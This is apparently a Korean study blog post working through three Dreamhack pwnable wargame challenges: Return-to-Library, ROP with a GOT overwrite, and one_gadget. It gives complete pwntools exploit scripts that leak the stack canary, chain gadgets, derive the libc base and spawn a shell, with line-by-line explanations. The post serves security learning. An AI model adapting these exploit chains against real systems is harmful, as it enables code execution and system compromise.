RTL(Return To Library)
NX로 인해 셸코드를 사용할 수 없어졌다.
그래서 아직 실행 권한이 있는
- 코드 영역
- 코드가 참조하는 라이브러리의 코드 영역
을 이용하여 NX를 우회하여 공격하는 기법이 등장했다.
위 두 영역에 공격자가 필요한 코드가 존재하면 -> 그 코드를 가져다가 사용.
여기서 라이브러리를 사용하는 공격이 바로 "Return To Library(RTL)" 이다.
이 기법에서 필요한 것들을 적어보면,
<코드 영역에서 가져다 쓰는 경우>
- 해당 코드의 메모리 주소
<라이브러리에서 가져다 쓰는 경우>
- 해당 코드의 호출 주소(PLT 주소 등)
<리턴 가젯(Return Gadget)>
- ret으로 끝나는 어셈블리 코드 조각.
구하는 방법:
ROPgadget 명령어 사용(정규 표현식으로 필터링 할 수 있음)
참고:system
함수로 rip
가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 한다는 것입니다. 이는 system
함수 내부에 있는 movaps
명령어 때문인데, 이 명령어는 스택이 0x10단위로 정렬되어 있지 않으면 Segmentation Fault를 발생시킵니다.
(출저: dreamhack systemhacking > Exploit Tech: Return to Library)
Return to Library 문제 code review
(출처: https://dreamhack.io/wargame/challenges/353/)
#!/usr/bin/env python3
# Name: rtl.py
from pwn import *
p = process('./rtl')
e = ELF('./rtl')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter(b'Buf: ', payload)
p.interactive()
part 1. 카나리 릭
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
스택의 구조는
을 보면, 알 수 있다.
- ret address push
- push and mov sft(=rbp)
- rsp - 0x40(=buf)
- QWORD PTR [rbp-0x8], rax (Canary)
- ....
프롤로그를 분석해 보았을 때, 다음과 같은 그림이 그려진다.
buf : rbp - 0x40
canary : rbp - 0x8
rbp(=sfp) : rbp
ret : rbp + 0x8
part 2. return to plt
# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter(b'Buf: ', payload)
- 코드 상에 있던 "/bin/sh"를 쓰기 위해
에서 알아낸 주소인 0x400874를 사용.
- system@plt의 rdi값으로 "/bin/sh"를 주고 system@plt로 ret 하기 위해서 pop rdi; ret를 ROPgadget으로 찾아서 사용.
- system@plt는 두 가지 방법으로 찾을 수 있다.
- pwndbg로 찾기
-> $ plt 혹은 $ info func @plt
- pwntools의 메서드 이용하기.
-> (e = ELF(...) ... e.plt['system'])
final, payload
payload의 구조를 순서대로 설명해 보자면
- 38개의 버퍼 오버플로우용 값
- part 1에서 leak한 카나리 값 (카나리 우회)
- 8개의 sfp를 덮기 위한 값
- system@plt의 정상 작동을 위한 정렬 값
(이것을 왜 ret로 넣어줬는지는 잘 모르겠다. 추측하기로는 ret을 넣어줌으로써 아무일도 일어나지 않기 때문에 그런 것 같다. ret는 pop rip; jmp rip;과 같다. payload에서 ret 부분에 도달하면 다음 줄의 주소(=pop rdi; ret)를 rip에 넣고 거기로 가는. 한마디로 그냥 한 줄 아무일 없이 지나가는 역할이기 때문에 정렬용으로 넣어준 것 같다(맞는지는 모르겠다)..)
- pop rdi; ret + "/bin/sh" + system@plt
이 셋은 같이 봐야 한다. 추가로 다음을 인지해야 한다.
- pop rdi => rsp가 가리키는 값을 rdi에 넣어 준다
- ret = pop rip; jmp rip; => rsp가 가리키는 값을 rip에 넣어 주고 rip으로 이동 한다
- pop을 할 때 rsp는 가리키는 값을 건네 주고 다음 줄을 가리킨다
메인 함수의 return <- rsp
("pop rdi; ret"가 적힌 gadget)
"/bin/sh"
system@plt
("pop rdi; ret"가 적힌 gadget)
"/bin/sh" <- rsp
system@plt
:: 이때 pop rdi가 실행
("pop rdi; ret"가 적힌 gadget)
"/bin/sh"
system@plt <- rsp
:: rdi에 rsp의 값인 "/bin/sh"가 들어가고 rsp는 system@plt로
ret
system@plt <- rsp (rdi에는 "/bin/sh"이 들어가 있다)
:: 그럼 gadget에서 남은 ret이 실행되며 셸을 얻는데 성공한다
ROP
plt에 원하는 함수가 없는 경우는 어떡할까?
그에 대한 해답이 ROP이다. (= libc로부터 가져다 쓴다)
ROP는 RTL과 비슷하나, 필요한 것들을 구하는 방법이 다르다.
- libc의 주소를 알아야 한다
- 필요한 함수의 libc로부터 떨어진 offset 값을 알아야 한다
1번을 해결하기 위해서, 코드에서 쓰이는 libc의 함수들을 살펴본다.
예를 들면, 대상의 코드 속에 read, printf 등의 함수들이 쓰이고 있다고 하자. 그러면 그 함수들의 plt, got를 따라가면 libc 속 그 함수의 주소를 얻을 수 있고, 그 함수의 offset값을 알아내어 그만큼 빼주면 그게 바로 libc의 주소이다.
2번은 이제 단순해진다. libc를 알았다면 원하는 함수의 offset만 알면 된다. libc의 주소 + offset을 참조하면 우리가 원하는(system 등) 함수를 실행시킬 수 있게 된다.
ROP 문제 code review
(출처:https://dreamhack.io/wargame/challenges/354/)
#!/usr/bin/env python3
# Name: rop.py
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process('./rop')
# p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF('./libc.so.6')
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
카나리를 우회하는 과정은 동일하므로 생략한다.
GOT Overwrite 시나리오
- read의 got를 알아낸다.
- read의 got와 read의 offset으로 libc_base를 구한다.
- libc_base와 system의 offset으로 system의 주소를 구한다.
- 근데 여기서 더이상 쓸 수 있는 버퍼가 없기에, read를 한번 더 불러준다.
- 불러준 read를 통해 구한 system의 주소 + "/bin/sh"문자열을 보낸다.
- Overwrite한 read_got를 부르고 거기에 "/bin/sh"을 인자로 준다.
part 1. plt와 got, 가젯들 구하기
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596
- read_plt = ELF 메서드로 구하기
- read_got = ELF 메서드로 구하기
- write_plt = ELF 메서드로 구하기
- pop rdi; ret 가젯과 pop rsi; ret 가젯
($ ROPgadget --binary "./rop" --re "pop rdi")
($ ROPgadget --binary "./rop" --re "pop rsi")
그냥 pop rsi; ret인게 없고, pop r15까지 달려있는 것만 있어서
저걸 쓸 수 밖에 없다.
- system의 movaps 정렬 조건 통과하기 위한 ret 가젯
P.S) read와 write의 레지스터 인자들
pop rdi와 pop rsi가 필요한 이유이다(read & write를 할 거니까)
part 2. write read_got
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
rdi에 1, rsi에 read의 got를 적어주고 write_plt를 부른다.
(여기서 rdx에 대한 값이 없는데, 찾아보면 rdx값이 따로 안적어도 문제 없는 크기로 들어가 있다고 한다...)
그럼 read의 got를 출력하게 된다.
part 3. find libc_base & system from read_got
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
출력한 read의 got를 recvn(6)로 읽는다. 이때 6byte만 읽는 이유는 libc의 주소가 6byte이기 때문이다.
libc_base = (read의 got) - (read의 offset)로 libc_base를 구하고,
system = libc_base + (system의 offset)으로 system의 주소를 구한다.
part 4. GOT Overwrite (read to system)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
...
p.send(p64(system) + b'/bin/sh\x00')
"rdi = 0, rsi = read_got 적힌 주소"로 read함수를 실행한다.
read_got 적힌 곳을 우리가 원하는 주소로 바꾼다.
바로 위에서 구한 system의 libc 주소이다.
추가로 우리가 할 것은 system("/bin/sh")이기 때문에, 문자열 또한 적어둔다.
part 5. Overwrite된 got로 셸 얻기
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
ret은 system의 movaps 정렬 조건을 위한 더미이다.
나머지가 중요한데, rdi에 아까 넣어둔 "/bin/sh" 문자열을 저장해 준다.
그리고 read_plt를 부르면, 이는 아까 system으로 overwrite 해 놓았기에 system 함수가 실행되고 rdi에 넣어둔 값인 "/bin/sh"를 가져다가 쓴다.
one_gadget
여러 개의 가젯을 조합하는 ROP/RTL을 간편하게 한 가젯만으로 셸을 획득할 수 있도록 한 도구이다.
제약 조건을 만족시키는 원 가젯이 있다면 그걸 사용하면 된다.
Example)
$ one_gadget ./libc.so.6
이걸 이용한 exploit은,
- libc_base를 여느때처럼 구한다
- libc_base + (사용할 one_gadget)을 payload의 ret부분에 보내기.
그러면 바로 셸을 얻을 수 있다.
(복잡하게 write - read - got overwrite.... 이런 과정 없이)
oneshot 문제 code review
(출처: https://dreamhack.io/wargame/challenges/34)
from pwn import *
p = process('./oneshot')
e = ELF("./oneshot")
libc = ELF("./libc.so.6")
stdout_offset = libc.symbols["_IO_2_1_stdout_"]
one_gadget_offset = 0x045216
p.recvuntil("stdout: ")
stdout_address = int(p.recvuntil('\n')[:-1], 16)
libc_base = stdout_address - stdout_offset
one_gadget_address = libc_base + one_gadget_offset
payload = b'A'*0x18 + p64(0) + b'B'*0x8 + p64(one_gadget_address)
p.sendafter("MSG: ", payload)
p.interactive()
취약점 분석
여기서 보면, 친절하게도 stdout의 got를 출력해준다.
그것을 이용해 libc_base를 구하고, one_gadget을 ret에 덮어주면
셀을 얻을 수 있을 것으로 보인다.
part 1. 필요한 가젯, offset 구하기
stdout_offset = libc.symbols["_IO_2_1_stdout_"]
one_gadget_offset = 0x045216 // or 0xf1147
$ one_gadget ./libc.so.6
사실 제약 조건은 잘 모르겠다.
그래서 대충 저 가젯들을 일일히 때려박아 봤다.
0x45216과 0xf1147이 가능한 one_gadget 이였다.
part 2. libc_base 구하고 payload 보내기
libc_base = stdout_address - stdout_offset
one_gadget_address = libc_base + one_gadget_offset
payload = b'A'*0x18 + p64(0) + b'B'*0x8 + p64(one_gadget_address)
buf의 주소가 rbp-0x20, sfp는 0x8짜리이므로
0x20 + 0x8 만큼 덮어주고 one_gadget을 넣어주면 된다.
(근데 여기서 왜 버퍼 마지막에 반드시 null(='\0') 을 넣어줘야 하는지 잘 모르겠다.. 그냥 덮어버리면 안되는 이유를..)
'Hacking > Pwnable' 카테고리의 다른 글
Type Error (0) | 2024.07.18 |
---|---|
원하는 주소로 return 시키기 (0) | 2024.07.12 |